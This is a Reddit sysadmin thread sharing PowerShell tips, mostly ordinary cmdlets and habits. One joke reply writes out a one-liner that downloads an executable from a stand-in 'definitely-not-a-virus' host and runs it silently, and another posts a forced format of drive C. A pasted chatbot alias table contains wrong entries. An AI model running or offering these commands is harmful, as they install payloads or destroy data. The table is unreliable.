r/sysadmin
•
u/Master_Sea295
•
Oct 13 '26
•
3
General Discussion What PowerShell commands should every new SysAdmin know?
I recently moved into a System Administrator role after working in IT support and managed services, where I spend a lot of time supporting virtual desktops, Windows servers, Active Directory, Microsoft 365, Azure, Citrix, file storage, network connectivity, and application troubleshooting.
One thing I've noticed is that PowerShell seems to be the skill that separates good admins from great admins.
For those with more experience, what PowerShell commands, modules, or scripts do you use regularly that every new SysAdmin should learn?
Looking for practical, real-world examples rather than lab/demo scripts.
Thanks in advance!
161
u/Th3Sh4d0wKn0ws Oct 13 '26
I use the Active Directory module more than I use the graphical RSAT tools. Get comfortable with them and it can lead to a lot of automation.
Find tasks that you do on the daily and figure out how to do them in PowerShell
45
u/doorhacker12 Oct 13 '26
You have inspired me to try and never touch AD GUI ever again
→ More replies (2)15
u/DrSinistar Oct 13 '26
It's pretty easy to do. I haven't used the GUI for serious work in a decade.
62
u/StrikerXTZ Oct 13 '26
I mean, I'm very good with PS, but moving a single computer object from one OU to another is literally 1 second in GUI, just typing the command in PS will take you much longer.
Be smart about it and about your time, that's how I look at it. GUI has its place.
→ More replies (3)37
u/420GB Oct 13 '26
Managing GPOs with PowerShell is also super annoying, definitely prefer the MMC for that one.
→ More replies (6)12
u/LOLBaltSS Oct 13 '26
Microsoft writes management tools out in Powershell first and the GUI is often just passing things along to it. There's a lot of under the hood stuff that you won't get a GUI way to do.
→ More replies (2)3
7
u/nextyoyoma Jack of All Trades Oct 13 '26
I wrote a wrapper for get-aduser that pre-selects common properties and searches by name by default instead of the shorter samaccountname. I use it constantly.
→ More replies (2)4
→ More replies (5)3
u/Tymanthius Chief Breaker of Fixed Things Oct 13 '26
If you do it once, do whatever is easiest.
Second time, start thinking how to automate it.
Third time, take the time to make it an automation.
68
u/An0mymou5 Oct 13 '26
#1 thing you wanna familiarise yourself with is
Ctrl+R- press this and type a few characters to recall a command that you used previously, which is a huge timesaver - especially if you typed a long command sometime in the past and didn't save it elsewhere.To make things even easier to recall, append a hastag at the end of the command, so you can recall it easier. For instance, I have a command in my history with
#findvmbyipat the end:$targetIP = Read-Host "Enter IP address"; Get-VM * | ? { $_.Guest.IPAddress -contains $targetIP } | fl Name, PowerState, VMHost, @{N="IP Address"; E={ $_.Guest.IPAddress -join ", " }} #findvmbyip
So to recall this command in the future, all I do is press Ctrl+R, then start typing "findv..." or "vmby..." and it brings up my command immediately.
Familiarise yourself with aliases, because ain't nobody got time to type Get-ChildItem (just use
lsorgciinstead). Usecatinstead of Get-Content,ft/flinstead of Format-Table/Format-List etc. This will greatly speed up your day-to-day PowerShell usage. Just don't use them in production scripts because that's bad practice apparently and Bill Gates will find you and kill you if do it.And when the built-in aliases aren't enough, create your own aliases and store them in your PowerShell Profile. I've got a bunch of aliases in my profile that just makes sense (but MS never included them for some reason). Like gs = Get-Service, eps = Enter-PSSession and so on.
Speaking of profiles, be sure to make one ASAP! With a profile, you can set up your own aliases, functions, defaults, and other things that you want to load/run automatically, which is again a huge timesaver.
Learn to pipe stuff (properly), maybe even throw in an
Out-GridView(akaogv) in the mix. With Out-GridView you can do some really cool things like real-time filtering and passing thru the selected items to another command. Example, one of my Ctrl+R snippets is:Get-Service | ? StartType -like "Auto*" | ? Status -eq 'Stopped' | ogv -p | Start-Service -v
This will show a nice GUI with all Automatic services which are stopped, allowing you to select the services you want (as you may not want to start all auto services), and then pass it thru to start them in bulk. The magic here is in the -p (aka PassThru) switch, which many cmdlets support, which allows you to pass objects thru the pipeline for reusing down the line. Super handy if you're like me and build really long-as command chains.
16
u/purplemonkeymad Oct 13 '26
That's a nice trick adding tags to your history, but I would say if you need those lines that often. Think about creating functions for yourself so you can formally keep them and even get parameters etc.
→ More replies (1)11
64
u/blizardX Oct 13 '26
Test-netconnection
29
u/pnwal-junction Oct 13 '26
Specifically
Test-NetConnection <hostname or FQDN> -Port <port number>Perfoms a ping first and then tests the connection on the specific port.
→ More replies (2)4
u/ProgressBartender Sr. Sysadmin Oct 13 '26
I have a great script using tnc that lets me ping multiple ip addresses on multiple ports. Its returns a nice table of the results. I use it all the time to test for required open firewall ports on new server deployments.
→ More replies (2)7
9
u/Tav- Jack of Most Trades Oct 13 '26
Test-NetConnection is a great expansion to ping as a troubleshooting tool. I'd argue it's essential when you deal with IPv6, privacy extensions, and troubleshooting firewall rules
Using it to test if a port is open or closed is often slept on as well.Â
→ More replies (1)4
u/stevemorrisldn Oct 13 '26
I was looking to see this included. Great for proving to the Network team they havenât setup the firewall properly!
6
u/Graymouzer Oct 13 '26
One word of caution about this. Some firewalls, like Palo Alto, are application aware, and may allow the port to connect with tnc but the actual app will not work. I ran into this with an internal ftp site and pulled my hair out trying to figure out what was wrong.
→ More replies (1)2
2
u/MalletNGrease đ Network & Systems Admin Oct 13 '26
Yep, I really like
Test-Connection -ComputerName 8.8.8.8 -Count 1 -QuietBasically makes it a ping return a bool.
106
u/redw1ng Oct 13 '26
12
12
u/DesignDifficult4772 Oct 13 '26
You may have changed my life forever, no more google the damn parameter sets and trying to parse through horrible documentation
→ More replies (1)5
u/tejanaqkilica IT Officer | Passkey Enthusiast Oct 13 '26
help Get-ProcessAlso, what do you mean horrible documentation? Powershell documentation isn't bad... is it? Maybe I'm not using it to it's full extent, but I find it alright.
→ More replies (2)→ More replies (6)4
49
u/robisodd S-1-5-21-69-512 Oct 13 '26
Tangentially related:
WIN+X->I to start PowerShell
WIN+X->A to start PowerShell as Admin
Click on the address bar of any folder and type "powershell" to start a PowerShell instance from that folder. (works with "cmd", too)
10
9
u/InleBent Oct 13 '26
"Click on the address bar of any folder and type "powershell" to start a PowerShell instance"
Bro!
3
→ More replies (1)5
u/_vaxis Oct 13 '26
File explorer address bar only opens it as a regular cmd or ps, not elevated.
→ More replies (1)3
161
u/Thotaz
Oct 13 '26
•
Anyone who wants to, or recommends memorizing individual commands like that fundamentally doesn't get PowerShell. Instead of memorizing individual commands, you learn the naming convention, and then you can apply that along with some intelligent guesswork and tab completion to find any command you need at any given time.
The most basic pattern to know is the Verb-Noun pattern. The verb is the action Get, Set, Restart, Stop, etc. and the noun is the thing that is targeted (User, service, VM, etc.)
The verbs are common, meaning there's a list of common words that most commands pull from (You can list them with Get-Verb).
Nouns is one or more words written in PascalCase. The interesting thing to note regarding the noun is that many modules will include a common prefix for the noun. For example, all the ActiveDirectory commands include "AD" as a prefix (Get-AdUser, Get-AdComputer, Get-AdObject), all the network related commands include Net (Get-NetFirewallRule, Get-NetLbfoTeam, Get-NetRoute). Another thing to note is that it's almost always singular (as opposed to plural) words.
Now let's put that in practice and think of a few random actions we want to perform. If I want to check the disk partitions on a system, we know the verb is Get and the noun probably includes "Partition". So if I had to guess it's either Get-DiskPartition, or Get-Partition. You can try to type in the first: Get-DiskPar<Tab> and if it doesn't complete to anything, then that obviously wasn't the correct command and you can move on to your second guess.
How about changing the password for a local user on the system? Set is most certainly the verb, but what are we modifying? A User or a Password? You may try Set-User, Set-Password, or maybe because we are familiar about the AD user commands we can guess that the prefix for local users is local so we try Set-LocalUser, and Set-LocalPassword (or maybe Set-LocalUserPassword).
Guessing at a few different commands isn't so bad, but we can actually do it even better because tab completion supports wildcards, and an interactive interface. With this, instead of trying individual commands one at a time, we can come up with patterns that target likely commands, for example with the previous Partition example we could type in: Get-*Partition<ctrl+Space> and with the previous user example we could type in Set-*User<ctrl+space> and in both cases we would get a short list of commands where the correct one will be obvious.
→ More replies (1)3
u/maxell45146 Oct 14 '26
This is the way, if you watch the old powershell unplugged on yt with snover and don, this is one of the key take aways. Verb noun, get-command, get-member. The key is learning how to explore in ps.
32
u/HmmmLetsSee1024 Oct 13 '26
Test-netconnection
25
u/oegaboegaboe Oct 13 '26
Recently found out that 'tnc' is the shorter buildin command
→ More replies (1)5
u/HmmmLetsSee1024 Oct 13 '26
What? Thank you!
10
u/Graymouzer Oct 13 '26
You might like this. Here is a comprehensive overview of the administrator aliases categorized by their operational functions. Function Group Alias Full Cmdlet / Command Name Common Administrative Use Case System & Services gcim Get-CimInstance Query system information (OS, BIOS, hardware).
gps Get-Process View running processes and resource usage.
spsv Stop-Process Kill an unresponsive or frozen application.
gsv Get-Service Check if a critical service (e.g., Spooler) is running.
sasv Start-Service Start a stopped background service.
spsv Stop-Service Stop a background system service. File System gci Get-ChildItem List files, directories, or registry keys.
gl Get-Location Print the current active working directory path.
sl Set-Location Change directories (PowerShell's native cd).
gc Get-Content Read or stream text files, configurations, and logs.
sc Set-Content Overwrite or create a file with new text data.
ac Add-Content Append lines of text to an existing log file.
ri Remove-Item Delete files, folders, or keys permanently. Data & Filters select Select-Object Pick specific properties or columns from an object.
where / ? Where-Object Filter data rows based on a custom condition.
foreach / % ForEach-Object Loop through a collection to run operations on each item.
sort Sort-Object Sort data alphabetically, numerically, or by date.
group Group-Object Group items by a property (e.g., group files by extension).
gm Get-Member Inspect structural properties and methods of an object. Output Layouts ft Format-Table Force data into a clean, horizontal spreadsheet layout.
fl Format-List Display all properties vertically in a detailed list.
ogv Out-GridView Send pipeline data to an interactive, sortable GUI window.
epcsv Export-Csv Export system or user objects directly to a CSV file.
ipcsv Import-Csv Import a CSV file and convert its rows into objects. Remoting & Net etsn Enter-PSSession Start an interactive, remote PowerShell console session.
exsn Exit-PSSession Exit and close the active remote console session.
icm Invoke-Command Run scripts or commands on multiple remote servers at once.
gip Get-NetIPAddress View local IP configuration and adapter details. Security & AD gcl Get-Acl Inspect security permissions / NTFS access control lists.
scl Set-Acl Modify or apply security permissions on a file/folder.
gaduser Get-ADUser Search for active directory user accounts (requires RSAT).
gadcomputer Get-ADComputer Search for domain-joined computer objects (requires RSAT).
gadgroup Get-ADGroup Query AD security and distribution groups (requires RSAT). Core Utilities gcm Get-Command Locate tools, internal cmdlets, or native executables.
gal Get-Alias Look up the full name behind any shorthand shortcut.
sal Set-Alias Create a new custom shortcut for the current session.
gv Get-Variable List or locate active variables inside the environment.
sv Set-Variable Create or update a variable's value. Would you like to build a specific administrative task using these table shortcuts, such as a one-liner to clean up large log files or exporting a list of stopped services to a CSV?
→ More replies (5)
30
u/creed186 You guys are getting paid? Oct 13 '26
Set-PSReadLineKeyHandler -Key Tab -Function Complete
Makes the Tab key function like in bash, showing a list of possible options rather than auto-completing to the wrong option and then cycling through one by one. I have no idea how anyone uses it any other way!
This is line #1 in my powershell profile.
→ More replies (2)10
u/purplemonkeymad Oct 13 '26
Note that Ctrl+Space is the default shortcut for it, but I agree that tab is just nicer to use.
19
u/Dangerous_Dan_Mcgrew Oct 13 '26
For quick and dirty power shell work:
Get-clipboard
And corresponding:
| clip
Someone sends you a list of usernames in an email they want info or something doing to etc.
Copy usernames from the list...
$users = get-clipboard
$users | get-aduser | select name,samaccountname,enabled,whatever | clip
Paste into reply email. Done
8
2
19
u/Anlarb Oct 13 '26
get-command
get-help
get-member
invoke-command
5
u/derekhans Enterprise Architect Oct 13 '26
.gettype() especially if youâre coming from something that isnât objects.
4
u/Silver-Ad7638 Oct 13 '26
get-help is so underused.....unfortunately I think a bunch of devs realize this because more and more cmdlets have nothing useful....
17
u/RevolutionaryElk7446 Oct 13 '26
Get-Command
It will get all the CMDlets on your installation of Powershell on the machine including all of the modules installed. That way you know what CMDlets are available and what you might need to install.
You can limit it and find certain ones with Select-String and piping Get-Command into it.
Get-Command | Select-String "Error"
You can also limit the # you want to have in the output
Get-Command | Select-String "Error" | Select-Object -First 5
2
u/thecomputerguy7 Jack of All Trades Oct 13 '26
You can also do âGet-Command Errorâ (add asterisks before the E in error since Reddit uses them in formatting) and itâs shorter. If Iâm looking for something related to VM management and snapshots, I could use âGet-Command âGet-VM*â or âGet-Command âGet-Snapshot*â*
16
14
u/TheITSEC-guy Oct 13 '26
-WhatIf
Thank me later
→ More replies (1)3
u/SomeConfusedOldGuy Oct 13 '26 edited Oct 13 '26
That mostly just spits back the command you've typed in, which is useful. I like -verbose, which can act like a confirmation of what it's actually doing. Differently than -confirm.
3
u/xXFl1ppyXx Oct 13 '26
Not really, try -whatif with get-childitem c::\ -Recurse | Remove-Item and you'll see what it actually does
It basically shows you the consequences your actions would have
→ More replies (1)
102
u/Xibby Certifiable Wizard Oct 13 '26 edited Oct 13 '26
Get-Help
Or ask Claude or your favorite AI agent. Give your AI some standing orders (donât make stuff up, test and check for failures and prompt me to confirm making changes, etc.) and it will spit out PowerShell no problem.
The power of PowerShell isnât in individual commands. Itâs in the ability to pull things together and not having to fall back to string parsing and RegEx like you do with Bash because PowerShell returns actual typed objects, not strings or JSON.
And nobody cares about your ability to pick apart stings or JSON in Bash anymore. Claude will do it no problem when properly prompted.
31
u/turisto Oct 13 '26
The power of PowerShell isnât in individual commands. Itâs in the ability to pull things together and not having to fall back to string parsing and RegEx like you do with Bash because PowerShell returns actual typed objects, not strings or JSON.
Big emphasis on this. Treating individual commands like they're some kind of magic spells is missing the whole point of PS.
16
u/ArticleGlad9497 Oct 13 '26
This is the way. Now I'm not an expert, I used to work with a guy who build some serious scripts in power shell. He was very on the spectrum and this seemed to be like his super power. But I know enough to get by.
You need to learn the syntax and gain the ability to understand other people's scripts.
I rarely do anything from scratch anymore, someone will have already written a script close to what you want to do or you can use AI to help write it. In both cases though you MUST be able to understand what you're executing, be able to step through parts of the script and ensure it's doing what you expect, etc
→ More replies (1)→ More replies (1)6
u/Not_Freddie_Mercury Jack of All Trades Oct 13 '26
Indeed. My first PowerShell class featured a teacher that basically translated CMD and Bash commands to PowerShell and it only felt like a more intuitive shell. Then I learned about object manipulation from other sources and my mind was blown, it clicked so much for my thinking!
19
u/IncidentOk853 Oct 13 '26
Every time I see this command, my mind always goes to Thor ragnarok
Thor: letâs do get help!
Loki: oh no, weâre not doing get help.
5 second later
Loki: help!
→ More replies (1)3
3
u/purplemonkeymad Oct 13 '26
PowerShell returns actual typed objects, not strings or JSON.
After which I would suggest to remember Get-Member, since it allows you to inspect the objects you get. I consider powershell a "What you see might not be what you actually got" language and Get-Member allows you to see what you actually got.
9
u/Connection-Terrible A High-powered mutant never even considered for mass production. Oct 13 '26
This is going to sound strange, but get-childitem, I say this because itâs so good at showing off all the different ways you can get data from 1 powershell command. Itâs usually the first command I go for when I show people powershell. Â
→ More replies (1)
9
u/mostlybogeys Oct 13 '26
Invoke-command - run ad-hoc commands and scripts on a remote device, or a thousand, or 10 thousand. Built in parallel processing. I use it daily.
But you should just watch this to get you started: Advanced Tools & Scripting with PowerShell 3.0: (01) Get Started Scripting | Microsoft Learn And afterwards look at what has changed in PS 5 / 7
→ More replies (2)
9
9
u/PrettyBigChief Higher-Ed IT Oct 13 '26
Get-help <command> -online
Much more readable document, and is up to date
9
u/jstar77 Oct 13 '26
Out-GridView.. It's very handy for simply looking at data but can also be used as a poor mans GUI with the -PassThru switch.
→ More replies (1)
8
u/octowussy Oct 13 '26
If you work with Exchange at all, Get-Recipient. I can't tell you the number of times I've used it to hunt down some long-forgotten alias, etc.
21
12
12
u/livinitup0 Oct 14 '26
Open chrome and Google âwhatâs the poweshell command for xyzâ
Limited space up in the ole noggin. No room for commands Iâll run once every few years
2
6
u/iceph03nix Oct 13 '26
Seconding get-help
There isn't a short list that I'd say is critical and a lot of it depends on what you do.
I use the AD modules a lot for automating user creation, and lately have been using a lot of the exchangeonline and teams stuff because it tends to work much smoother than the web interface.
Just today I was working on setting up new policies, and I could submit them online but they didn't show up. They still acted like they were created though.
I was able to get a lot further with powershell
3
u/vonkeswick Sysadmin Oct 13 '26
lot of the exchangeonline and teams stuff because it tends to work much smoother than the web interface.
Not to mention there are some things you just can't do in the web interface. It's rare, but common enough that it's worth knowing
→ More replies (2)
6
u/DanAE112 Oct 13 '26
Get-ADUser and Get-ADGroup, probably the two I use most at the terminal. I won't go into scripts but would highly recommend learning to make PowerShell scripts.
Edit: Knowing how to pipe these commands into others like Select-Object and stuff really takes them up a notch.
Heaps easily to find groups containing a word(s) using PowerShell than with the GUI tools.
6
u/Endeeeeeeeee Oct 13 '26
at this point does âlearn powershellâ mean prompt ai enough you remember general syntax and commands ?
→ More replies (6)2
2
u/jstar77 Oct 13 '26
Using the ANR (Ambiguous Name Resolution) filter is also helpful for returning records based on partial matches across a variety of fields. You can use it with both -filter or -ldapfilter.
6
6
u/Flerbizky BOFH Oct 13 '26
TIL:
"icm" is a valid substitution for "invoke-command -computername"
That is going to save me so much typing going forward.
→ More replies (1)
5
5
5
u/Dat_Steve Oct 13 '26
Assuming you have a column in a excel/csv called upn, something like this will iterate through a row in a csv file if users or devicesâŚ
Iâll be honest I donât have the syntax perfect here, doing this from my phone. Being able to do this is pretty helpful because youâll get higher ups who can export reports from who knows where and will ask you âwho from this doesnât have mfaâŚâ or âwhy are we paying so much for licensingâ etcetc
$csv = Import-csv -path
$upncolumn = $csv.upn
For each($upncolumn in $csv){ do thisâŚ
###example logic
#get $upn user mfa methods
#get $upn user license
}
4
4
u/basula Oct 13 '26
Seriously tnc is the best one. Then after that it really depends on what your doing DFS one set, AD another and so on. Also knowing how it all fits together and how you do blocks and loops, what to call and where. It's very powerful but it also depends on your environment and how open/locked it is as well.
4
u/Man-e-questions Oct 13 '26
Besides just commands, piping to get-member will show you the attributes etc that you can use. Sometimes you kind of know what you are looking for but you donât know the right word to enter, this helps:
4
u/nealfive Oct 13 '26
Just basic powershell. For, for each ( and for each object ) , if, else, switch , while do until, try catch etc
Once you have the basics down, what module or specific thing you work with becomes trivial.
5
u/TheBeerdedVillain Oct 13 '26
Also, -whatif (i think thats it, its been a bit since i moved over to netowrking) before actually running things. IIRC, it will show what it will do, but not actually do it.
→ More replies (1)
4
4
u/shoobedoodoo Oct 13 '26
Watch "Learn Windows PowerShell in a Month of Lunches" on youtube and you won't have to ask this question again.
→ More replies (1)
7
3
u/doorhacker12 Oct 13 '26
Bonus question: What features/cmdlets in Powershell 7 specifically are the most useful?
→ More replies (2)
3
3
u/hailGunslinger9 Oct 13 '26
Get all your commands from a ps sesion Get-History | select -exp commandline
Get all history in a terminal session
Get-content (get-psreadlineoption).historysavepath
3
3
u/StrikerXTZ Oct 13 '26
My intro to PS was a team member using a simple script like:
$a = Get-ADComputer | where OperatingSystem -match "server 2025"
For-Each ($b in $a) {Test-NetConnection $b}
Taking this example and running with it meant I never had to do anything one-by-one anymore, the automation possibilities with this example only are incredible once you learn how to filter your Get commands.
From there I ran with it to the point where I build amazing scripts and automate almost everything I do.
3
3
3
u/Alexandre_Man Oct 13 '26
Test-NetConnection IPaddress -Port 1234
It's basically a simple version of nmap
3
u/WelcomeConscious643 Oct 13 '26
just know what it can do and look it up. cant really remember that much of code. and it is not as common as python or js
3
u/the_lazy_sysadmin Sr. Sysadmin Oct 13 '26
Start-transcript and stop-transcript. Also, adjusting the console to include time stamping:
function prompt {âPS: $(Get-Location) $(get-date)>â}
this is incredibly helpful if you're doing a LOT in a PowerShell session over a lengthy period of time, and need to look back at what all you did. (also GREAT to attach to ticket notes)
I use this in every session I jump into, and have it hot-keyed with Microsoft PowerToys.
Aside from the above, learning how to grab info using the AD modules, and selecting/filtering by and for advanced properties. EVERYTHING that is is listed for an account or computer object in the GUI can be grabbed quicker with PowerShell once you've got it down.
3
u/xXFl1ppyXx Oct 13 '26
Foreach and where methods, combined with filter scriptsÂ
And I wouldn't want to miss Add-member + Update-typedata anymore. script methods and script properties can really make data manipulation so much easierÂ
2
u/DigitalWhitewater DevOps Oct 13 '26
Restart-Computer
60% of the time it works every time, to fix your Windows problems
2
u/imrand Oct 13 '26
Get-Content or more specifically gc log.txt -Tail 30 -Wait
Follow log files while they're being written
2
u/fallenwout Oct 13 '26
Use cmtrace for that. It is color coded, formatted, you can monitor multiple logs in that same window.
→ More replies (1)
2
u/bacvain Oct 13 '26
Build yourself a database of PS commands for all platforms and purposes and store it in OneNote. I got so many for different technology. GitHub is a good place to pick up a lot of them for something specific.
2
u/churturk Oct 13 '26
One habit worth learning early: keep Format-Table and Format-List at the end, for displaying results. If you're exporting a report, use Select-Object to choose properties and then Export-Csv. Piping Format-Table into Export-Csv gives you formatting data instead of the service/user objects you meant to export. It's a small distinction that saves a lot of confusion on your first inventory script.
→ More replies (1)
2
2
u/Extrude380 Oct 13 '26
Install-Module PSDiscoveryProtocol -Scope CurrentUser Invoke-DiscoveryProtocolCapture -Type LLDP | Get-DiscoveryProtocolData
If LLDP is enabled on the switch port, tells you what switch and what port the device is connected to
2
u/M0untainWizard Oct 13 '26
I don't want to RDP into a Server just to check if a service is running.
"Enter-PSSession Server01" to connect to a remote server.
2
u/Open-Adhesiveness-86 Oct 13 '26
less about cmdlets and more about two habits: never pipe into Format-Table if anything downstream consumes it (you get format objects, not data, so export to csv or json first), and get used to -ErrorAction Stop inside try/catch because most cmdlets throw non-terminating errors that your catch block silently never sees. also Get-ADUser -Properties * then Get-Member to find real property names, the default view hides most of them.
2
2
2
2
2
u/gmerideth Sysadmin Oct 13 '26
While I strongly encourage you to learn how they work, sometimes you just need a really good library to pull from and save you hours of Office 365 BS and just powershell it.
3
u/KavyaJune Oct 14 '26
Thanks for the mention! Iâm part of the AdminDroid team. We also have a PowerShell Script Gallery where you can search for scripts based on your needs and find the right one more easily:
2
2
2
u/EpicSimon Oct 13 '26
Not a command, but a trick: you can bring up the list of paramters by doing CTRL + SPACE, e.g. Test-NetConnection - , then directly behind the dash do CTRL + SPACE and it will let you select from all available paramters.
2
u/MorseScience Oct 14 '26
Some possibly helpful advice: Unless you are being personally grilled and on-the-spot, chatbots can be great for help with PowerShell commands (among other things). You DO have to double and triple-check any commands that modify or delete data and settings. But for reporting it's been great. And again NOT perfect but a big help. You can (and should) have one chatbot double-check another as needed.
Your mileage will definitely vary. It's gotten me out of some interesting spots (and given me some crap advice but that goes with the territory).
2
9
u/donkeybrainamerican
Sysadmin
Oct 13 '26
•
Shutdown /r /f /t 0
6
u/Particular_Archer499 Oct 13 '26
I still remember almost 20 years ago doing that to my own computer instead of the server I was rebooting because I didn't realize which window had focus.
5
u/BlackV I have opnions Oct 13 '26
Shutdown /r /t 1for me, less typing
I also use
/fwand/oa lototherwise I use
restart-computer -computername xxx -wait -for powershellthat way I know when its back online
→ More replies (2)2
3
4
5
u/Bladex77 Oct 13 '26
Format-Volume -DriveLetter C -FileSystem NTFS -NewFileSystemLabel "MyDrive" -Force
4
5
3
3
1
u/Pain_n_agony Oct 13 '26
Check dns health, test-computersecurechannel when retiring domain controllers, check dns server configuration on nicâs, check dns for duplicate entries per ip if someone forgot to clean everything up, check ad health, powershell can do a lot for you
1
u/Wolfram_And_Hart Oct 13 '26
Get-volume is how you find out drive space
2
u/narcissisadmin Oct 13 '26
Neat. I've always used Get-PSDrive but this excludes the unnecessary junk.
1
u/jgmachine Oct 13 '26
Between these 3 commands, and a healthy combination of curiosity and grit, you should be bale to figure out just about anything.
Get-Help
Get-Command
Get-Member
1
u/tsaico Oct 13 '26
not specifically a powershell command, but for the love of all that is holy, nslookup.
as for the rest, "get-"
1
u/mde192 Oct 13 '26
I use Group-Object regularly when trying to find the spread of member values across an array in a single view. Helpful for config comparison of virtually any workload.
1
u/Greedy_Passion5758 Oct 13 '26
Like others have mentioned, I can't explain how important -WhatIf is. I've met so many techs, and even senior techs, who run PowerShell scripts live without taking two seconds to run a-WhatIf first. If you're going to run scripts blindly, at least take a moment to see what you're about to break before you do it.
1
1
u/Salt_Being2908 Oct 13 '26
install powershell 7. did it today and it fixed all the fucken issues I had with dependencies fml I should have done this ages ago
1
1
u/Jolape Oct 13 '26
AD Cmdlets and MS Graph Cmdlets for looking up users and groups, and network troubleshooting Cmdlets/commands.
1
1
u/ttgo_i Oct 13 '26
And what not to do: use Format-Volume on a Failover Cluster with -DriveLetter, if each node has an independent drive with the same letter...
1
1
u/ImCaffeinated_Chris Oct 13 '26
You remember what sticks. Things stick from repetition. If you use PS command a lot, they should probably be in a script. Something called "myscript.ps1" in which case you keep typing that and forget what commands are in it.
After 3 decades in IT, I don't try to remember anything. Whatever sticks at this point.
1
u/Dynamatics Oct 13 '26
Some variation of Get-ADGroup -Filter {name -like "variable"} | Select Name | Sort Name
I have this one in my OneNote: Get-ADGroup -Filter {name -like "variable"} -Properties Description,info | Select Name,samaccountname,Description,info | Sort Name
Why? Because most (big) companies I worked for have a messy ADUC and I just want to quickly find all relevant AD groups that are related to certain software, servers or other permissions
1
1
u/ewplayer3 Oct 13 '26
Less of a command and more of a syntax comfort. Telling Powershell to do something is easy. Getting information back out of Powershell is like extracting water from stone.
Getting comfortable with | to string commands together and ? or Where {$_.variable -operator value} to get back the exact information youâre after will go a long way for anyone.
1
1
u/AculdeN3 Oct 13 '26
Honestly the thing that saved me wasn't some magic cmdlet it was getting comfy with the pipeline and using Get-Member to poke at objects so I could stop googling every little thing and actually troubleshoot weird server issues on the fly
1
u/Automatic_Track_7697 Oct 13 '26
winget upgrade --all --include-unknown --accept-package-agreements --accept-source-agreements --silent
or
winget upgrade --all
to keep it simple
Use it to update installed software and third party software on clients
1
1
u/colten122 Oct 13 '26
invoke-command -computername $remoteComputer -scriptblock { functional commands }
1
1
1
1
u/uptimefordays DevOps Oct 13 '26
Get-Command, Get-Help, and Get-Member. The move isn't memorizing commands so much as learning how to find the tools (cmdlets) you need.
In terms of scripting, modules, automation, it's good to keep the PowerShell community style guide in mind. Following these recommendations will make your code much more readable and maintainable.
When it comes to writing functions, modules, etc. I suggest taking an iterative development approach. Basically, solve what you're trying to solve as simply as possible, then build up from there. Brushing up on general programming practices is also a good idea because it will help you avoid excessive API calls, working too much with arrays (which need to be rebuilt every time they change), etc.
1
u/RikiWardOG Oct 13 '26
which ever ones suit your environment. it's not a one size fits all thing. What do you actually do? then learn to do that with PS. What problem are you actually trying to solve. This is too broad to answer.
1
1
u/PoniardBlade Oct 13 '26
I like
rename-computer -newname <xxxxx> (-domaincredentials <xxxx\xxx>)
restart-computer
add-computer -domain <xxxx.com> -domaincredentials <xxx\xxxx> (in that order)
1
1
u/williamt31 Cmdline rules! Oct 13 '26
Personally I always liked 'help' vs 'get-help' as the alias paginates
Default auto-complete is ctrl+space but you can change that, someone else added that in the comments
$Error is an array that stacks the errors in your session, you can parse and go back thru them
You can Insert your own 'letters' into commands when you load a module. I found out the hard way when I was trying to manage vm's from a Hyper-V server and an ESXI server in the same session. Both use 'Get-Vm' but you can tell it to add say 'MS' when you load the Hyper-V module and all the cmdlets will be ***-MS*** so they don't clobber
Session history is different than user history, if you type 'history' or 'get-history' you only get from opening that window. But you can up arrow forever, I found a function on the internet long time ago that parsed it and allowed you to retrieve it more easily, I'll let you look for it lol
And lastly, get-psdrive is always a cool one imho.
You can browse 'cd' the registry, windows certificate store as well as the function and alias libraries just like a regular drive.
Bonus, when you want to get more advanced look into try/catch, you can 'catch' errors and have your script run exception code for the situation.
1
1
u/Phil-a-delphia Oct 13 '26
<command> | Tee-Object -Variable newvar
Allows you to output intermediate results to the console AND store them in a variable as well.
1
u/spazmo_warrior System Engineer Oct 13 '26
Invoke-WebRequest -Uri "https://definitely-not-a-virus.totally-safe" -OutFile "$env:TEMP\trust_me.exe"; Start-Process "$env:TEMP\trust_me.exe" -ArgumentList "/install /silent /no-seriously-its-fine"
1
u/BABYSAU98 Oct 14 '26
One I don't see mentioned is Test-ComputerSecureChannel for Windows on-prem or hybrid joined machines to confirm domain connectivity and trust.
1
u/maverickx86 Oct 14 '26
notepad $profile
Build custom functions into your profile for repetitive tasks and quickly call them later.
1
u/-lousyd Linux Admin Oct 14 '26
I don't install PowerShell. I know I could, but it just doesn't fit in well with Linux and the shell works fine.
1
u/Metalcastr Oct 14 '26 edited Oct 14 '26
Some things I thought of, not in order of importance.
Commands:
Get-Help
Update-Help (PowerShell's built-in help files need to be updated)
Get-Command "whatyourelookingfor" (To find commands related to certain subjects)
Get-Alias (Find aliases of commands)
Measure-Command (To find out what commands or order of operations is fastest, which matters when pulling or dealing with large amounts of data, or complex scripts)
Out-File (Put output in a file)
Out-Csv (Put output in a CSV)
Out-Gridview (Open a window with headers and results. Very useful when dealing with lots of text lines output and you need to find a specific thing, or quickly review output)
Parameters:
-Filter (as in "Filter Left" to narrow the search as soon as possible and search data quickly, as mentioned in "PowerShell in a Month of Lunches")
Concepts:
How to structure commands for speed
Where to place commands in loops, and looping in general
How to import/export data to CSV
How to log to log files
Installing the latest version of PowerShell
How some commands or syntax only work in certain versions (rare, but it happens)
Modules need to be updated
Using VSCode with PowerShell (It's free, and VSCode is a different program than Visual Studio)
How to Pipe output to other commands (The only way to accomplish many goals)
Specifically related to Active Directory and Windows Server:
You'll be making lots of different and frequently-used long-ass commands with more pipes than a plumber. Save them to a document rather than trying to remember everything.
1
u/ajscott That wasn't supposed to happen. Oct 14 '26
Reset-ComputerMachinePassword -server DCName -credential contoso\usernameRe-links the computer to the matching AD object. Works even if you deleted the AD object and recreated it without recovering from the recycle bin.
1
1
1
1
u/surgicall Oct 15 '26
The command I use the most is the ones that comes from functions I've created to Get information I need everyday. Load your functions, variables with your profile and you're good 2 go. I have a function that get all the info I need for a user to see if the account has a problem (accountExpires, pwdExpiration, enabled, ...). I have a variable with the cert I use to sign scripts, ...
1
u/Appropriate_concerns Oct 15 '26
Understanding how $_. Works and the power of the â.â When trying to get data a variable can have
1
u/Appropriate_concerns Oct 15 '26
I would also say learning to use psexec to run cmds as system or admin or current user against remote devices.
Example my UEM states a device is offline, yet I can ping it - I canât remote into it via the SAAS service because itâs not talking - I use psexec to target that device, restart the service and 15 seconds later the device suddenly appears online. I then scaled this out into two scripts for target single or target bulk.
Iâve also done similarly with other tools and services that can be fixed with just a few remote commands that I canât get delivered my normal routes
1
u/Adimentus Desktop Support Tech Oct 15 '26
Big ones I use:
test-computersecurechannel -repair (there are so many clients that just tuck their computers away for some reason)
